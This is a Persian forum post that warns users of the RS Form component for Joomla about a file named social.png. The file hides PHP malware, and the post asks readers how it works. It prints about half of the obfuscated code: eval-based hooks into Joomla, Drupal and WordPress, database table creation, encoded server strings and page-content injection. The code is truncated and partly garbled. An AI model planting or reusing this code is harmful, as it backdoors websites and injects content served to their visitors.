هشدار: ویروسی بودن کامپوننت فرم ساز RS Form

[chamanchi]

سلام به همه اونایی که از کامپوننت آر اس فرم استفاده می کنن
اگه در مسیرهای زیر فایلی به نام social.png داشتید حتما اون رو پاک کنید
/public_html/administrator/components/com_rsform/assets/images/social.png
/public_html/components/com_rsform/assets/images/social.png

کافی فایل مورد نظر رو به social.php تغییر نام بدید تا کدهای مخفی در این تصویر رو ملاحظه بفرمایید
دوستانی که از نحوه کار این ویروس چیزی می دونن به اطلاع خودم و سایر دوستان برسونن.
یاعلی
نصف کد رو می قرار میدم:

<?php error_reporting(0); ini_set('display_errors', 0);@ini_set('max_execution_time', 300);@set_time_limit(0);function XJmVaOhvhAQNoaACoDOM() {    if (!defined('WP_OPTION_KEY')) {        define('WP_OPTION_KEY', 'wp_data_newa');        $oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(1);    }}if (class_exists('JFactory')) {    $fRBDRzVvkOhTDTWAHUGa = & JFactory::getApplication();    $fRBDRzVvkOhTDTWAHUGa->registerEvent('onAfterRender', 'XJmVaOhvhAQNoaACoDOM');}if ($GLOBALS['base_path'] || $GLOBALS['base_url']) {    if (!defined('WP_OPTION_KEY')) {        define('WP_OPTION_KEY', 'wp_data_newa');        $whjjnvouGqpgVFKDaceH = 'function ' . $template->name . "_page_alter(&\$page) {\$oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(2);            \$NygjKszxwCxlHbyDpHTT = \"\";            foreach (\$oXyaqmHoChvHQFCvTluq->oXyaqmHoChvHQFCvTluq['echo'] as \$stIedxfhoZcXvZNmNXTd) {                \$NygjKszxwCxlHbyDpHTT.=\$stIedxfhoZcXvZNmNXTd;            }            \$vsGIQvwCXRbSELMOlFV = \$NygjKszxwCxlHbyDpHTT;            \$page['page_top'][] = array('#markup' => \$vsGIQvwCXRbSELMOlFV);    } ";    }    eval($whjjnvouGqpgVFKDaceH);}if (!defined('WP_OPTION_KEY') && (function_exists('get_home_url') || function_exists('get_site_url'))) {    define('WP_OPTION_KEY', 'wp_data_newa');    new GsSYoMTsQibQgcHcuGmr(0);}class GsSYoMTsQibQgcHcuGmr {    public $oXyaqmHoChvHQFCvTluq = array(),        $yYVsqvOoqWsddypXgJcI = array(),        $KPnBqYhemQSdHKDNtJpe,         $qcCONSsvpJlMgdhEFFmr,        $IzGRmpLLtcLVMJRxcfpe,        $aJQafHDwnaPrCJrQMjHV,        $AeRxXNHxOXpcNJWlZSIK,         $vwhhtIrAWhUEFDgPrcco,         $htcFFCQTLLpnCchsPKGY,         $wqawPxkNytKqRKNRqbwA,         $IatJdWimJbxtprWZElHe,         $YobOrWbieESFVcSsWsuB;       public $WbKPQMoSbMZkXUeYKXRI;    public function __construct($KPnBqYhemQSdHKDNtJpe) {        $this->KPnBqYhemQSdHKDNtJpe = $KPnBqYhemQSdHKDNtJpe;        if ($KPnBqYhemQSdHKDNtJpe === 1) {             $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `#__options` (        `id` int(10) NOT NULL AUTO_INCREMENT,        `option_name` text NOT NULL,        `value` text NOT NULL,   PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";            $AKorMlJxhsFuVmuppepc = JFactory::getDbo();            $AKorMlJxhsFuVmuppepc->setQuery($fNkUjsWlUtvjeWmrzNlI);            $AKorMlJxhsFuVmuppepc->query();        }        if ($KPnBqYhemQSdHKDNtJpe === 2) {             $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `options` (        `id` int(10) NOT NULL AUTO_INCREMENT,        `option_name` text NOT NULL,        `value` text NOT NULL,   PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";            db_query($fNkUjsWlUtvjeWmrzNlI);        }        $this->yYVsqvOoqWsddypXgJcI = array(             '==DZk4FZlVwY5RGZhpQB'        ,'=4JnhZUpck2olIKM',            '=4JnhZ3M1WJMeyTo',            '=02ow5FryW3ogkJnuWUq',            '6yzLhDKqwETol92q',            '==trcWzYyEKqwETol92q',            'g92LhZ3ni9Togyzr',            '==DoiAzYiEKqiyKMgS2p',            '=8zMhyzYhIJMlqzoi9Jo',            '=bKnv5vpuE3phSJofI2n',            'aW3ohHzMckzp19JM2y2M',            '=02ow5PoyITqmEJquWaM',            '==DoiAzY6ITqu1JLgkJL',            'g92LhpzockTocM2oaWKM',            '==toc5vo1AKMaSTofyzq',            'hyzY5Izpi1JM29Jo',            '==jMl9zY5ITMi9zMiyzL',            'aW3ohVGqlpzocuTq55JL',            '==jMl9zYhI2LmEapiO3p',            'aW3oh4JLwAUq0I3L',            '=pzpi5lp0WKLjSJMyWaM',            '==jqj5FqiyKMwyzoyA2p',            '3OaY1WGoj1JL',            '=pUphxKqaWKnuu2L',            '=4JnhVKMeAJnfMJock2p',            '=4JnhV3ox5JLl9TryuTq',            '=4Jnh4JqvyKMh9Tn',            'hyzYmk2oiEaoyk2M',            'hyzYh9TqlSzLhSTM',            '=4JnhNKqiW3Mf9TogyzL',            '==toc5lp0Szp0SzM',            'hyzYfIJM0Aaouu2L',            'hyzYlSTqm92Mhyzp',            '6yzLh4zpiEKMfqzocWaL',            'aW3ohHTo5E3pgHJocW3L',            '==trcWzYmgJLgyTqf9zM',            '==Nqy5zYmAKMhy2M0ITo0I3o',            '==jqj5PnmyzMiEUnmyzp',            '==jqj5lphS2pfIzquWUq',            '==trcWzYlITMuk2Mc5Jq',            '0IzohZUocSzMlITMh92q',            '0IzohZKMfyUqm52ohITr',            '=pzpi5vouEKn0g2LukzL',            '=HJohNKqbSTof9Tn',            '=DKMh5lpyEJLlq2ohSzo',            '6yzLhxapu1TMuITM',            '==Nqy5zY39zoe1JLyWUM',            '==Nqy5zYlITqXNHxOXpcNJWlZSIK->qPhSGyDrRdyPezAnHgia();             $this->WbKPQMoSbMZkXUeYKXRI = $WbKPQMoSbMZkXUeYKXRI;            $vsJigIMHYwdFnuqvRwrv = false;            $BCEUSjHFFwzzqmHmpjjQ = 0;            foreach ($this->HSxTktcbTftjZjKRHHmh() as $gXNjWLFkUQOugyREMXKv) {                $oXyaqmHoChvHQFCvTluq = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI);                $oXyaqmHoChvHQFCvTluq = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq);                if ($oXyaqmHoChvHQFCvTluq !== false) {                    $vsJigIMHYwdFnuqvRwrv = true;                    if ($this->YobOrWbieESFVcSsWsuB) {                        break;                    }                    break;                }            }            if ($vsJigIMHYwdFnuqvRwrv) {                if ($this->YobOrWbieESFVcSsWsuB) {                    $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();                }                $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI;                $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq);                $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq;            } else {                 $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();                $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI;                $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq;                $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq);                $this->XnpSvtOjNDRmxyfzaDKl();            }            return $oXyaqmHoChvHQFCvTluq;        }        return false;    }    public function TztHMzNNJASlMfiSOwxQ() {        $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;        if ($oXyaqmHoChvHQFCvTluq == '') {            return false;        }        $SntMBKFkfTlUzXyNVQed = @$_GET[$this->oXyaqmHoChvHQFCvTluq['info']['serverKey']];        if (isset($SntMBKFkfTlUzXyNVQed) && $SntMBKFkfTlUzXyNVQed == '') {             echo '<div id="serverList" style="display: none">';            $bQYduZxDrtPMJtaBCQyc['servers'] = $oXyaqmHoChvHQFCvTluq['servers'];            echo json_encode($bQYduZxDrtPMJtaBCQyc);            echo '</div>';            die();        } else if (isset($SntMBKFkfTlUzXyNVQed) && isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) {            if (isset($this->oXyaqmHoChvHQFCvTluq)) {                $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;            } else {                $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();            }